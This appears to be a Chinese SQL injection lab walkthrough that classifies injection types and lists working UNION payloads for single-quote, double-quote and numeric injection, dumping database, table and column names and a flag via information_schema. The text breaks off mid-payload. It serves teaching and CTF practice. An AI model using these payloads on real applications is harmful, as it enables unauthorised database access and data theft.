〇、总览:SQL 注入分类与通用思路
| 注入类型 | 判断依据 | 前置条件 |
|---|---|---|
| 联合查询注入(UNION) | 页面直接回显查询结果 | 有回显位 |
| 报错注入 | 数据库报错信息带出数据 | 页面输出 SQL 报错 |
| 布尔盲注 | 页面内容 / 响应长度变化 | 真假两种响应可区分 |
| 时间盲注 | 请求响应耗时长短 | 页面内容完全不变也能用 |
通用七步流程:判断注入点 → 判断闭合符号(' / " / 无)→ order by 猜列数 → union 找回显位 → 爆库名 → 爆表名 → 爆字段 → 取数据。
记忆口诀:库 schemata → 表 tables → 字段 columns → 数据
一、字符型 UNION 注入(单引号闭合)
后端 SQL:SELECT * FROM xxx WHERE name = '用户输入'
1. 判断注入点
输入 ',页面报 SQL 语法错误 → 单引号字符型注入。
2. order by 猜列数
' order by 7 -- '
order by N 按第 N 列排序,N 超过实际列数即报错 → 本靶场 7 列。
3. 找回显位
' UNION SELECT 1,2,3,4,5,6,7 -- '
数字会展示在对应字段 → 第 2 列(姓名)为回显位,后续查询内容都放第 2 位。
4. 爆库名 → 爆表 → 爆字段 → 取数据
' UNION SELECT 1,database(),3,4,5,6,7 -- ' -- 库名: sql_injection_lab
' UNION SELECT 1,group_concat(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schema='sql_injection_lab' -- ' -- 表: users,flag
' UNION SELECT 1,group_concat(column_name),3,4,5,6,7 FROM information_schema.columns WHERE table_name='flag' -- ' -- 字段: id,flag
' UNION SELECT 1,flag,3,4,5,6,7 FROM sql_injection_lab.flag -- ' -- flag{...}
Payload 语法要素:
-
':闭合原有单引号,打破查询边界 -
UNION SELECT:合并两条查询结果(前后列数必须一致) -
group_concat():多行合并单行输出,一次性展示所有表名/字段名(有长度上限) -
1,3,4,5,6,7:占位常量,补齐列数 -
--:注释掉原语句剩余部分(--后必须带空格)
二、字符型 UNION 注入(双引号闭合)
后端 SQL:SELECT * FROM xxx WHERE name = "用户输入"
与单引号版本逻辑完全相同,仅闭合符号改为 ",注释符用 #:
admin" order by 7# -- 7列
admin" union select 1,2,3,4,5,6,7# -- 第2列回显
admin" union select 1,database(),3,4,5,6,7# -- sql_injection_lab
admin" union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='sql_injection_lab'# -- users,flag
admin" union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='flag'# -- id,flag
admin" union select 1,flag,3,4,5,6,7 from flag# -- flag{...}
两种注释符(MySQL):
-
#:行注释(URL 编码%23) -
--:行注释,--后必须有空格(URL 编码%20)
常见踩坑:
-
union 两边列数不一致 → 查询失败
-
引号类型搞错(靶场是
"用'payload 直接失效) -
忘记注释符 → SQL 语法错误
-
查表时未限定
table_schema→ 可能查到其他库同名表
三、数字型 UNION 注入
后端 SQL:SELECT * FROM users WHERE id = $id(参数直接作数字拼接,无需引号闭合)
1 order by 6 -- 报错 → 共5列(order by 5正常)
1 union select


113

被折叠的 条评论
为什么被折叠?



